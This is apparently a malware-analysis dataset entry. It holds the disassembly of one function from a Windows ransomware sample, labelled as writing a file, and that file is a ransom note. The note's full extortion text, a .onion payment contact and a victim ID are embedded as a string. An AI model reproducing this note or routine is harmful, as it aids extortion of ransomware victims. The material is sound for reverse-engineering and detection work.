Function at 0x1000c200
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100950a5
mov eax, dword fs:[0]
push eax
sub esp, 0x40
mov eax, dword [0x100c29e4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ecx, dword [ebp + 0x18]
mov eax, 0x7ffffffe
sub eax, ecx
mov dword [ebp - 4], 0
mov dword [ebp - 0x4c], ecx
cmp eax, 1
jb 0x1000c465
cmp dword [ebp + 0x1c], 8
lea eax, [ebp + 8]
lea edi, [ecx + 1]
mov dword [ebp - 0x40], 0
cmovae eax, dword [ebp + 8]
mov esi, 7
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x40]
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x48], eax
cmp edi, esi
jbe 0x1000c2b9
mov eax, 8
mov esi, edi
cmp edi, eax
cmovb esi, eax
or esi, 7
cmp esi, 0x7ffffffe
jbe 0x1000c29a
mov esi, 0x7ffffffe
jmp 0x1000c2a4
mov eax, 0xa
cmp esi, eax
cmovb esi, eax
lea eax, [esi + 1]
push eax
lea ecx, [ebp - 0x40]
call fcn.10007850
mov ecx, dword [ebp - 0x4c]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x2c], esi
lea esi, [ecx + ecx]
push esi
push dword [ebp - 0x44]
mov dword [ebp - 0x30], edi
push eax
call fcn.10067550
mov eax, dword [ebp - 0x48]
mov ecx, 0x5c
add esp, 0xc
mov word [esi + eax], cx
xor ecx, ecx
mov word [eax + edi*2], cx
cmp dword [0x100c2798], 8
lea ecx, [ebp - 0x40]
push dword [0x100c2794]
mov eax, 0x100c2784
mov byte [ebp - 4], 1
cmovae eax, dword [0x100c2784]
push eax
call fcn.10007d10
mov dword [ebp - 0x28], 0
xor ecx, ecx
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x28], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x18], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov ecx, dword [ebp - 0x2c]
cmp ecx, 8
jb 0x1000c37a
mov edx, dword [ebp - 0x40]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x1000c370
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000c46a
push ecx
push edx
call fcn.10065a16
add esp, 8
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
push 0
cmovae eax, dword [ebp - 0x28]
push 0x80
push 2
push 0
push 0
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x1000c3c3
push 0
lea eax, [ebp - 0x44]
mov dword [ebp - 0x44], 0
push eax
push 0x443
push str.ATTENTION__r_nYour_network_has_been_breached_and_all_data_was_encrypted._Please_contact_us_at:_r_nhttps:__bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion___r_n_r_n_r_nLogin_ID:_2e48b376_9f73_4126_b821_88b37a34e457_r_n_r_n_r_n__To_access_.onion_websites_download_and_install_Tor_Browser_at:_r_n_r_n___https:__www.torproject.org___Tor_Browser_is_not_related_to_us__r_n_r_n__To_restore_all_your_PCs_and_get_your_network_working_again__follow_these_instructions:_r_n_r_n__Any_attempts_to_modify__decrypt_or_rename_the_files_will_lead_to_its_fatal_corruption._It_doesnt_matter__who_are_trying_to_do_this__either_it_will_be_your_IT_guys_or_a_recovery_agency._r_n_r_nPlease_follow_these_simple_rules_to_avoid_data_corruption:_r_n_r_n__Do_not_modify__rename_or_delete_files._Any_attempts_to_modify__decrypt_or_rename_the_files_will_lead_to_its_fatal_corruption.__r_n_r_n__Do_not_hire_a_recovery_company._They_cant_decrypt_without_the_key.__r_nThey_also_dont_care_about_your_business._They_believe_that_they_are__r_ngood_negotiators__but_it_is_not._They_usually_fail._So_speak_for_yourself._r_n_r_n_r_n_r_nWaiting_you_in_a_chat._r_n
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x14]
cmp ecx, 8
jb 0x1000c400
mov edx, dword [ebp - 0x28]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x1000c3f6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000c46f
push ecx
push edx
call fcn.10065a16
add esp, 8
mov ecx, dword [ebp + 0x1c]
xor eax, eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp ecx, 8
jb 0x1000c44a
mov edx, dword [ebp + 8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x1000c440
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000c46f
push ecx
push edx
call fcn.10065a16
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10065d4c
mov esp, ebp
pop ebp
ret
call fcn.100077b0
call fcn.10071200
call fcn.10071200
int3